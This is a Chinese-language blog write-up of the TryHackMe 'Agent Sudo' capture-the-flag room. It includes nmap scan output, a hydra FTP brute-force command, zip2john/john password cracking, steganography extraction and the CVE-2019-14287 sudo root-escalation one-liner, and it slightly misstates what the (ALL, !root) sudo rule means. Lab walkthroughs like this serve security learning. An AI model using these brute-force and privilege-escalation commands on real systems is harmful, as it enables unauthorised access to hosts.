【THM】 Agent Sudo

0x00  信息收集

我们得到了ip,直接用nmap进行探测性扫描

┌──(root㉿Breeze)-[/home/breeze/Desktop]
└─# nmap 10.10.197.200 -sS -sV -A -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-20 19:29 CST
Nmap scan report for 10.10.197.200
Host is up (0.31s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)
|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)
|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Annoucement
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=5/20%OT=21%CT=1%CU=44665%PV=Y%DS=5%DC=T%G=Y%TM=664B
OS:3465%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=9)
OS:SEQ(SP=107%GCD=1%ISR=10D%TI=Z%II=I%TS=A)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI
OS:=I%TS=A)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=A)SEQ(SP=107%GCD=1%IS
OS:R=10D%TI=Z%CI=I%II=I%TS=C)OPS(O1=M508ST11NW7%O2=M508ST11NW7%O3=M508NNT11
OS:NW7%O4=M508ST11NW7%O5=M508ST11NW7%O6=M508ST11)WIN(W1=68DF%W2=68DF%W3=68D
OS:F%W4=68DF%W5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M508NNSNW7%CC=Y%Q=)
OS:T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=
OS:0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T
OS:6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+
OS:%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK
OS:=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 5 hops
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 1723/tcp)
HOP RTT       ADDRESS
1   248.22 ms 10.17.0.1
2   ... 4
5   327.15 ms 10.10.197.200

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.51 seconds

似乎没啥用。我们去看看web页面。

我们用User-agent switcher,将UA改成C,得到codename

ok

hydra爆破ftp

hydra -l chris -P /usr/share/wordlists/rockyou.txt '10.10.197.200' ftp 

我们得到账号密码后,直接去登录ftp。

登陆上后将文件全部下载下来

我们首先看一下 To_agentJ的内容

Dear agent J,

All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.

From,
Agent C

他说密码放到文件里面了,我们去看看。

我们用binwalk将一张图片进行分离,得到一个压缩包但是需要密码。

zip2john

zip2john 8702.zip > zip.hash

john zip.hash

我们快速的得到了密码。

我们解压压缩包

我们将 'QXJlYTUx' base64解码得到  Area51

我们使用这个得到message,打开发现密码

我们直接用ssh登录,我们用sudo -l得到权限。显示/bin/bash为(ALL,!root)

这个权限设置 /bin/bash for (ALL, !root) 是指在 Linux 或 Unix 系统中, /bin/bash 命令的权限被设置为:

所有用户(ALL)都可以执行 /bin/bash 命令
但是 root 用户除外(!root)

我们上网找到CVE

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287#bfeaf48d-1d5a-4bca-97ba-d1d2cd34ae2e

检查sudo版本

 

sudo -u \#$((0xffffffff)) /bin/bash

ok,今天就到这里。

posted @ 2024-05-20 22:29  AllFalls  阅读(3)  评论(0编辑  收藏  举报